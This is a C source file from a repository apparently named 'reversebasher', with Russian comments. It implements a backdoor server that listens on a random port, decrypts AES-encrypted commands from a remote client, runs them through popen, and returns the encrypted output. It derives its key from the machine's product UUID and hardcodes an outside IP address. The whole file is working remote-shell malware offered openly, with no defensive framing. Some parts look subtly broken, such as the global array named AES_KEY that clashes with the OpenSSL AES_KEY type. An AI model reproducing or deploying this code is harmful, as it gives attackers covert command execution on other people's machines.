reversebasher/server.c
wheelchairy 95fef97809 letsgo
2025-02-10 14:42:37 +03:00

82 lines
2.4 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <openssl/aes.h>
#include <openssl/sha.h>
#define PORT_MIN 2000
#define PORT_MAX 3000
#define AES_KEY_SIZE 16
#define SERVER_IP "212.113.119.5"
unsigned char AES_KEY[AES_KEY_SIZE]; // Хранение AES-ключа
void generate_aes_key() {
FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
char buffer[256];
if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
pclose(fp);
printf("[-] Не удалось получить UUID, используем случайный ключ\n");
RAND_bytes(AES_KEY, AES_KEY_SIZE);
} else {
pclose(fp);
SHA256((unsigned char *)buffer, strlen(buffer), AES_KEY);
}
}
void encrypt(char *input, char *output) {
AES_KEY enc_key;
AES_set_encrypt_key(AES_KEY, 128, &enc_key);
AES_encrypt((unsigned char *)input, (unsigned char *)output, &enc_key);
}
void decrypt(char *input, char *output) {
AES_KEY dec_key;
AES_set_decrypt_key(AES_KEY, 128, &dec_key);
AES_decrypt((unsigned char *)input, (unsigned char *)output, &dec_key);
}
int main() {
generate_aes_key();
printf("[+] AES-ключ сервера сгенерирован\n");
int server_sock, client_sock;
struct sockaddr_in server, client;
socklen_t client_size = sizeof(client);
char buffer[1024], encrypted[1024], decrypted[1024];
int port = PORT_MIN + (rand() % (PORT_MAX - PORT_MIN + 1));
server_sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
bind(server_sock, (struct sockaddr *)&server, sizeof(server));
listen(server_sock, 1);
printf("[+] Сервер слушает на порту %d...\n", port);
client_sock = accept(server_sock, (struct sockaddr *)&client, &client_size);
printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));
while (1) {
recv(client_sock, encrypted, sizeof(encrypted), 0);
decrypt(encrypted, decrypted);
printf("Команда: %s\n", decrypted);
FILE *fp = popen(decrypted, "r");
fread(buffer, 1, sizeof(buffer), fp);
pclose(fp);
encrypt(buffer, encrypted);
send(client_sock, encrypted, sizeof(encrypted), 0);
}
close(client_sock);
close(server_sock);
return 0;
}